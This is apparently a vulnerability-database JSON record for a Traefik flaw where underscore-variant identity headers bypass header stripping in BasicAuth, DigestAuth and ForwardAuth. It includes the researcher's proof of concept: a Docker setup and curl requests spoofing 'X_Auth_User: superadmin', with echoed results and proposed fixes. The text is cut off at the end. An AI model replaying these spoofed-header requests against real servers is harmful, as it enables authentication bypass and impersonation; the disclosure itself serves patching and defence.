{"id":"CVE-2026-54763","aliases":["EUVD-2026-41940","GHSA-x677-9fxg-v5c5","GO-2026-6211","SUSE-SU-2026:23625-1","openSUSE-SU-2026:11243-1","openSUSE-SU-2026:11251-1","openSUSE-SU-2026:21761-1"],"status":"published","title":"Traefik: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth","description":"Traefik is an HTTP reverse proxy and load balancer. Prior to v2.11.51, v3.6.22, and v3.7.6, Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares strip canonical-cased spoofed identity headers before writing Traefik's own value, but do not account for underscore-variant header names, which many backends normalize identically to dashed forms. An attacker able to reach a protected route can inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside, or on the unauthenticated ForwardAuth authResponseHeaders path instead of, the value Traefik intended to set, spoofing identity or authorization context. This issue is fixed in versions v2.11.51, v3.6.22, and v3.7.6.","severity":{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00239,"percentile":0.15128,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-178","CWE-290","CWE-345"],"published":"2026-07-06T20:33:36Z","modified":"2026-10-28T02:30:25Z","fixes":[{"ecosystem":"Go","package":"github.com/traefik/traefik/v2","fixed_in":["2.11.51"],"sources":["ghsa","osv"]},{"ecosystem":"Go","package":"github.com/traefik/traefik/v3","fixed_in":["3.6.22","3.7.6"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"github.com/traefik/traefik/v2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"2.11.50"},{"fixed":"2.11.51"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/traefik/traefik/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.6.21"},{"fixed":"3.6.22"}]}]},{"source":"ghsa","ecosystem":"Go","package":"github.com/traefik/traefik/v3","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.7.0"},{"last_affected":"3.7.5"},{"fixed":"3.7.6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.11.51"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.6.22"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"3.7.0"},{"fixed":"3.7.6"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/traefik/traefik","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/traefik/traefik/v2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.11.51"}]}]},{"source":"osv","ecosystem":"Go","package":"github.com/traefik/traefik/v3","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.6.22"},{"introduced":"3.7.0"},{"fixed":"3.7.6"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Server for SAP applications 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"traefik2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.11.52-1.1"}]}],"bundled":2},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"traefik","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.7.7-1.1"}]}],"bundled":5},{"source":"osv","ecosystem":"openSUSE:Leap 16.0","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20260827T195228-160000.1.1"}]}],"bundled":181}],"products":[{"vendor":"traefik","product":"traefik"}],"references":[{"url":"https://github.com/traefik/traefik/security/advisories/GHSA-x677-9fxg-v5c5","tags":["x_refsource_CONFIRM","Patch","Vendor Advisory","advisory","web"]},{"url":"https://github.com/traefik/traefik/pull/13262","tags":["x_refsource_MISC","Issue Tracking","fix","web"]},{"url":"https://github.com/traefik/traefik/commit/108a5264473a2cbc8f12d6d691a3c6553cdf2c1b","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54763","tags":["advisory"]},{"url":"https://github.com/traefik/traefik/releases/tag/v2.11.51","tags":["web"]},{"url":"https://github.com/traefik/traefik/releases/tag/v3.6.22","tags":["web"]},{"url":"https://github.com/traefik/traefik/releases/tag/v3.7.6","tags":["web"]},{"url":"https://github.com/advisories/GHSA-x677-9fxg-v5c5"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/54xxx/CVE-2026-54763.json","tags":["advisory"]},{"url":"https://github.com/traefik/traefik","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2026/suse-su-202623625-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-10722","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11465","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11481","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-11624","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-17106","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25688","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25699","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-25700","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-32637","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33582","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-33818","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34031","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34033","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34177","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34178","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-3433","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-34976","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35172","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-35511","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39821","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39832","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39833","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-39904","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-40173","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41179","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41181","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-41568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42350","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-42508","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-43983","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45099","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-45404","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-46603","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-47427","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48119","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48491","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-48786","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49446","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-49980","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50567","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50568","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50569","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50570","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50879","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50884","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-50891","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52855","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52856","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-52857","tags":["web"]},{"url":"https://www.suse.c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eb"]},{"url":"https://www.suse.com/security/cve/CVE-2026-56874","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57210","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-57497","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59732","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-59733","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6046","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61711","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-61712","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62323","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-62325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-63328","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64679","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64859","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64863","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64865","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64866","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-64868","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65600","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65601","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65602","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65834","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-65835","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66063","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-66064","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6689","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6739","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67437","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67438","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67439","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67447","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-67448","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-6961","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71309","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71310","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71311","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71312","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71313","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71324","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71325","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71326","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71327","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71479","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71556","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-71557","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7184","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73080","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73499","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73500","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73502","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73505","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73506","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73509","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-73564","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-7387","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-76905","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-77354","tags":["web"]},{"url":"","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54761","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2026-54762","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2026-54763","title":"Traefik: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth","description":"Traefik is an HTTP reverse proxy and load balancer. Prior to v2.11.51, v3.6.22, and v3.7.6, Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares strip canonical-cased spoofed identity headers before writing Traefik's own value, but do not account for underscore-variant header names, which many backends normalize identically to dashed forms. An attacker able to reach a protected route can inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside, or on the unauthenticated ForwardAuth authResponseHeaders path instead of, the value Traefik intended to set, spoofing identity or authorization context. This issue is fixed in versions v2.11.51, v3.6.22, and v3.7.6.","status":"published","published":"2026-07-06T20:33:36.059Z","modified":"2026-07-08T19:42:06.759Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-178","CWE-290","CWE-345"],"updated_at":"2026-11-02T13:38:09.774038Z"}],"euvd":[{"id":"EUVD-2026-41940","description":"Traefik is an HTTP reverse proxy and load balancer. Prior to v2.11.51, v3.6.22, and v3.7.6, Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares strip canonical-cased spoofed identity headers before writing Traefik's own value, but do not account for underscore-variant header names, which many backends normalize identically to dashed forms. An attacker able to reach a protected route can inject an underscore-variant header that survives Traefik's stripping and reaches the backend alongside, or on the unauthenticated ForwardAuth authResponseHeaders path instead of, the value Traefik intended to set, spoofing identity or authorization context. This issue is fixed in versions v2.11.51, v3.6.22, and v3.7.6.","status":"published","published":"2026-07-06T20:33:36Z","modified":"2026-07-08T19:42:06Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high"}],"updated_at":"2026-11-02T18:20:10.095263Z"}],"ghsa":[{"id":"GHSA-x677-9fxg-v5c5","title":"Traefik: Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: headerField underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth","description":"## Summary\n\nThere is a high severity vulnerability in Traefik's BasicAuth, DigestAuth, and ForwardAuth\nmiddlewares. The fix for CVE-2026-33433 stripped canonical-cased spoofed identity headers\n(e.g. `X-Auth-User`) before writing Traefik's own value, but did not account for\nunderscore-variant header names (e.g. `X_Auth_User`), which many backends normalize\nidentically to the dashed form. An attacker able to reach a protected route could inject\nan underscore-variant header that survives Traefik's stripping and reaches the backend\nalongside — or, on the unauthenticated ForwardAuth `authResponseHeaders` path, instead of\n— the value Traefik intended to set, spoofing identity or authorization context. This is\nfixed by setting the new `allowHeadersWithUnderscores: false` entry point option, which\nstrips all headers with underscores in their names before routing.\n\n## Patches\n\n- https://github.com/traefik/traefik/releases/tag/v2.11.51\n- https://github.com/traefik/traefik/releases/tag/v3.6.22\n- https://github.com/traefik/traefik/releases/tag/v3.7.6\n\n## For more information\n\nIf you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Description\u003c/summary\u003e\n\n# Incomplete fix for CVE-2026-33433 + CVE-2026-39858 cross-cohort: `headerField` underscore-variant identity spoofing in BasicAuth / DigestAuth / ForwardAuth\n\n## Summary\n\nThe fix for CVE-2026-33433 (GHSA-qr99-7898-vr7c, \"BasicAuth/DigestAuth Identity Spoofing via Non-Canonical headerField\", patched in v2.11.42 / v3.6.12 / v3.7.0-ea.3) added `req.Header.Del(headerField)` before the literal-key writeback in `pkg/middlewares/auth/basic_auth.go` and `pkg/middlewares/auth/digest_auth.go`. Go's `Header.Del` calls `textproto.CanonicalMIMEHeaderKey` which canonicalizes ASCII CASE and treats `-` as a word separator — so the fix correctly strips canonical-cased attacker headers (`X-Auth-User`, `x-auth-user`, `X-AUTH-USER`, etc.).\n\nHowever, `textproto.CanonicalMIMEHeaderKey` does **NOT** treat `_` as a separator. Attacker-supplied **underscore-variant** headers such as `X_Auth_User` survive `Header.Del(\"X-Auth-User\")` intact and are forwarded to the backend alongside Traefik's own writeback. Many common backends (CGI/WSGI per RFC 3875, PHP `$_SERVER`, nginx with `underscores_in_headers on`, Tomcat / Java EE servlet containers, ASGI/WSGI frameworks) normalize `_` ↔ `-` equivalently or expose both forms to application code that may read the attacker's value.\n\nThis is the **direct cross-cohort sibling** of the threat model the maintainer accepted in **CVE-2026-39858** (GHSA-5m6w-wvh7-57vm, \"Forwarded alias spoofing pre-auth decision bypass\"), which fixed the underscore-variant of the X-Forwarded-* family via `isManagedXHeader` in `pkg/middlewares/forwardedheaders/forwarded_header.go`. The CVE-2026-39858 advisory body states verbatim:\n\n\u003e \"When the backend normalizes underscore and dash header forms equivalently, an attacker can inject spoofed trust context — such as a trusted scheme or host — through the alias headers and bypass authentication on protected routes without valid credentials.\"\n\nThe same threat model applies to the operator-configurable `headerField` (BasicAuth, DigestAuth) and `authResponseHeaders` (ForwardAuth, ingress-nginx snippet provider), but the underscore-handling primitive (`isManagedXHeader`) was not extended to those middlewares. I verified the bypass end-to-end on `traefik:v3.6.14` (the latest patched release containing both fixes) using a default-recommended canonical `headerField: \"X-Auth-User\"` config and reproduced the bypass with a single `curl -H \"X_Auth_User: superadmin\" ...` request alongside valid BasicAuth credentials.\n\nThe defect is present in four code paths at HEAD `eec68dce064f843b4317c4393aaea81b6dea31d6`:\n\n1. `pkg/middlewares/auth/basic_auth.go:101-105` — BasicAuth `headerField`\n2. `pkg/middlewares/auth/digest_auth.go:99-103` — DigestAuth `headerField`\n3. `pkg/middlewares/auth/forward.go:304-310` — ForwardAuth `authResponseHeaders` per-name writeback\n4. `pkg/middlewares/ingressnginx/snippet/snippet.go:480-486` — Ingress-NGINX snippet `authResponseHeaders` per-name writeback\n\nThe ForwardAuth instance (#3) is particularly notable: the attacker does NOT need credentials. The `authResponseHeaders` mechanism is intended to copy identity headers from the trusted auth server only; the underscore-variant bypass lets an unauthenticated attacker pre-inject the same identity header before any auth happens.\n\nThe fast proxy at `pkg/proxy/fast/proxy.go:139` explicitly calls `DisableNormalizing()` on the outgoing fasthttp request, guaranteeing that the underscore-variant header reaches the backend wire verbatim. The standard `httputil.ReverseProxy` path at `pkg/proxy/httputil/proxy.go:55` likewise copies `req.Header` keys as-is during the wire write.\n\n## Affected versions\n\n- `traefik` v3.6.x ≤ 3.6.14, v3.7.x ≤ 3.7.0-rc.2, v2.11.x ≤ 2.11.43, and all earlier versions sharing the same auth middleware architecture.\n\nThe defect is present at HEAD post-CVE-2026-33433 fix (the fix added the `Del` line but the literal-key write defect-class survives for underscore variants).\n\n## Root cause\n\nIn `pkg/middlewares/auth/basic_auth.go` at HEAD `eec68dc`:\n\n```go\nif b.headerField != \"\" {\n    // TODO Deprecated we should add the header with canonical key.\n    req.Header.Del(b.headerField)\n    req.Header[b.headerField] = []string{user}\n}\n```\n\nThe TODO comment shows the maintainer is aware of the literal-key write problem in general (canonical-key write would solve the case-canonicalization issue more cleanly than the current `Del` + literal-write pair). The comment does not acknowledge the underscore-variant survival corollary.\n\n`pkg/middlewares/auth/digest_auth.go:99-103` and the two ForwardAuth paths follow the same `Del` + literal-write pattern. Each is independently exploitable; the underlying primitive defect is shared.\n\nThe maintainer's gold-standard primitive for handling this exact threat class is `pkg/middlewares/forwardedheaders/forwarded_header.go:53-66`:\n\n```go\nfunc isManagedXHeader(key string) bool {\n    if len(key) == 0 || key[0] != 'X' { return false }\n    if _, ok := XHeadersSet[key]; ok { return true }\n    if strings.IndexByte(key, '_') \u003c 0 { return false }\n    canonical := http.CanonicalHeaderKey(strings.ReplaceAll(key, \"_\", \"-\"))\n    _, ok := XHeadersSet[canonical]\n    return ok\n}\n```\n\nThis treats `_` ↔ `-` equivalence as a security requirement. It is reachable only via the static `XHeadersSet` membership check, which contains exclusively the X-Forwarded-* family + X-Real-Ip. Operator-configurable identity headers are out of scope of this primitive.\n\n## Proof of concept\n\nVerified on `traefik:v3.6.14` (the patched version, post-CVE-2026-33433 and post-CVE-2026-39858) using Docker compose. Full reproducer at https://github.com/\u003cattacker-repo\u003e/traefik-ht1a-poc; commands below are verbatim.\n\n### Setup\n\n```yaml\n# docker-compose.yml\nservices:\n  traefik:\n    image: traefik:v3.6.14\n    command:\n      - --providers.file.filename=/etc/traefik/dynamic.yml\n      - --entrypoints.web.address=:80\n    ports:\n      - \"8080:80\"\n    volumes:\n      - ./traefik/dynamic.yml:/etc/traefik/dynamic.yml:ro\n  echo:\n    image: mendhak/http-https-echo:36\n    environment:\n      - HTTP_PORT=8888\n```\n\n```yaml\n# traefik/dynamic.yml — canonical headerField, recommended operator config\nhttp:\n  routers:\n    protected:\n      rule: \"PathPrefix(`/`)\"\n      service: echo\n      middlewares: [basic-auth]\n  services:\n    echo:\n      loadBalancer:\n        servers: [{url: \"http://echo:8888\"}]\n  middlewares:\n    basic-auth:\n      basicAuth:\n        users:\n          - 'alice:$2b$05$FhDfYidZdDPuQjovYqcTAe22wHpQ/cILC7Tr2yAD6vLlvZh/Q45PC'   # alice:secret123\n        headerField: \"X-Auth-User\"\n```\n\n`docker compose up -d`.\n\n### Test 1 (control — CVE-2026-33433 fix works for canonical case)\n\n```bash\n$ curl -s -u alice:secret123 -H \"X-Auth-User: superadmin\" http://localhost:8080/\n{\n  ...\n  \"x-auth-user\": \"alice\",\n  ...\n}\n```\n\nThe attacker's canonical `X-Auth-User: superadmin` was correctly stripped by Traefik's `Del`; the backend receives only Traefik's authenticated-user writeback `alice`.\n\n### Test 2 (HT-1A bypass — underscore variant survives)\n\n```bash\n$ curl -s -u alice:secret123 -H \"X_Auth_User: superadmin\" http://localhost:8080/\n{\n  ...\n  \"x-auth-user\": \"alice\",\n  \"x_auth_user\": \"superadmin\",\n  ...\n}\n```\n\nThe underscore-variant `x_auth_user: superadmin` reached the backend intact, despite the `Del(\"X-Auth-User\")` having executed. The backend sees both forms.\n\n### Test 3 (double-send — same result)\n\n```bash\n$ curl -s -u alice:secret123 \\\n    -H \"X-Auth-User: superadmin\" \\\n    -H \"X_Auth_User: superadmin\" \\\n    http://localhost:8080/\n{\n  ...\n  \"x-auth-user\": \"alice\",       # Traefik's writeback\n  \"x_auth_user\": \"superadmin\",  # attacker's underscore — survived Del\n  ...\n}\n```\n\nThe canonical attacker header is stripped (Test 1 behavior). The underscore variant is forwarded.\n\n### Backend impact\n\nThe PoC's echo backend (`mendhak/http-https-echo`, Node.js) preserves both forms with the lowercase normalization Node.js applies. Application code reading `req.headers[\"x-auth-user\"]` sees `alice`. Application code reading `req.headers[\"x_auth_user\"]` sees `superadmin`.\n\nFor backends that normalize `_` ↔ `-` equivalently — meaning the attacker's value wins:\n\n- **CGI / WSGI / PHP `$_SERVER`** (RFC 3875 §4.1.18 — header name uppercased with `-` replaced by `_`): both `X-Auth-User` and `X_Auth_User` map to `HTTP_X_AUTH_USER`. The last-set wins per the WSGI server's iteration order; many servers (gunicorn, uwsgi without `--disable-logging`, waitress) preserve both. Note: Apache + mod_php with default `HttpProtocolOptions Strict` filters underscore-headers from `$_SERVER` (this PoC's PHP backend test demonstrated the filter); Apache + mod_python, Apache + mod_wsgi without the strict mode, nginx + uwsgi, nginx + gunicorn, nginx + FastCGI, and standalone WSGI servers do NOT filter.\n- **nginx with `underscores_in_headers on`** (https://nginx.org/en/docs/http/ngx_http_core_module.html#underscores_in_headers): preserves underscore-variant headers and forwards them to upstream as separate values. Upstream application logic that does case-insensitive + underscore-insensitive matching (common pattern in security-sensitive code) merges them.\n- **Tomcat / Java EE servlet containers**: `HttpServletRequest.getHeader(name)` is case-insensitive; underscore handling is container-specific. Many normalize.\n- **Application middleware** (WAFs, log aggregators, security gateways, identity-aware proxies) that normalize header names before applying security policy: both forms collapse to the same authorization decision input.\n\n## Severity\n\nI propose **HIGH CVSS 7.5** for the BasicAuth / DigestAuth case and **CRITICAL CVSS 9.1** for the ForwardAuth `authResponseHeaders` case (the latter requires no credentials).\n\n**CVSS 3.1 vector (BasicAuth / DigestAuth)**: `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N=7.5` — one step above CVE-2026-33433 (which the maintainer scored MEDIUM 5.1 because it required misconfigured non-canonical `headerField`). HT-1A works against the canonical / recommended `headerField` configuration, broader operational scope.\n\n**CVSS 3.1 vector (ForwardAuth `authResponseHeaders`)**: `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N=9.1` — parallel to CVE-2026-39858 (HIGH 7.5) but achieves spoofing without credentials because the `authResponseHeaders` mechanism trusts headers exclusively from the auth server and the underscore variant defeats that trust boundary.\n\nCWEs:\n- CWE-290 (Authentication Bypass by Spoofing)\n- CWE-178 (Improper Handling of Case Sensitivity) — analogous to CVE-2026-29054\n- CWE-345 (Insufficient Verification of Data Authenticity) — same as CVE-2026-35051\n\n## Suggested fix\n\nTwo equivalent approaches:\n\n**1. Extend `Header.Del` to handle underscore variants** at the four call sites. Replace:\n\n```go\nreq.Header.Del(b.headerField)\nreq.Header[b.headerField] = []string{user}\n```\n\nwith:\n\n```go\ncanonical := http.CanonicalHeaderKey(b.headerField)\n// Strip canonical AND underscore-variant of the canonical key.\nfor key := range req.Header {\n    if key == canonical || strings.EqualFold(strings.ReplaceAll(key, \"_\", \"-\"), canonical) {\n        delete(req.Header, key)\n    }\n}\nreq.Header.Set(canonical, user)  // canonical-key write\n```\n\nThis pairs the headerField primitive with the same `_` ↔ `-` equivalence that `isManagedXHeader` enforces for X-Forwarded-*.\n\n**2. Generalize the existing `isManagedXHeader` primitive** into a `stripHeaderAndVariants(headers http.Header, name string)` helper in the `forwardedheaders` package and call it from `basic_auth.go`, `digest_auth.go`, `forward.go`, and `snippet.go`. Reusing the existing gold-standard primitive is the cleanest fix and minimizes future drift.\n\nEither approach should also resolve the `// TODO Deprecated we should add the header with canonical key.` debt at `basic_auth.go:102` and `digest_auth.go:100` by writing to the canonical key (`Header.Set(canonical, user)`) instead of the literal `b.headerField`.\n\n## Why this is a Pattern-8 sibling, not a new CVE class\n\nThe combination of:\n\n1. CVE-2026-33433's fix scope (case-canonicalization for `headerField`)\n2. CVE-2026-39858's fix scope (underscore-variant for `XHeadersSet`)\n3. The defective primitive remaining at HEAD (the `Del` + literal-write pair at four call sites)\n\nestablishes that the maintainer accepts the threat model and has architectural primitives to fix it — but did not cross the two cohorts. The \"primitive depth-audit\" of the CVE-2026-33433 fix (reading the actual `Header.Del` implementation against the documented threat model and Go's canonicalization semantics) reveals the gap.\n\nI confirmed there is no public PoC mentioning underscore-variant siblings of CVE-2026-33433 (WebSearched 2026-05-23). The fix-flurry from the April 2026 security release batch addressed the X-Forwarded family but not the headerField family.\n\n## Credit\n\nMatteo Panzeri (GitHub `matte1782`). CVE credit requested.\n\n## AI-assistance disclosure\n\nStatic analysis, hypothesis writing, and hostile-review confirmation were assisted by Anthropic Claude (Opus 4.7). Live PoC reproduction, code-citation verification, and submission decision were made by the human author.\n\n\n\u003c/details\u003e\n\n---","status":"published","published":"2026-08-06T16:53:53Z","modified":"2026-08-06T16:53:55Z","cvss":[{"version":"4.0","score":7.8,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N","level":"high"}],"cwes":["CWE-178","CWE-290","CWE-345"],"updated_at":"2026-11-02T14:40:57.999375Z"}],"nvd":[{"id":"CVE-2026-54763","description":"Traefik is an HTTP reverse proxy and load balancer. Prior to v2.11.51, v3.6.22, and v3.7.6, Traefik's BasicAuth, DigestAuth, and ForwardAuth middlewares strip 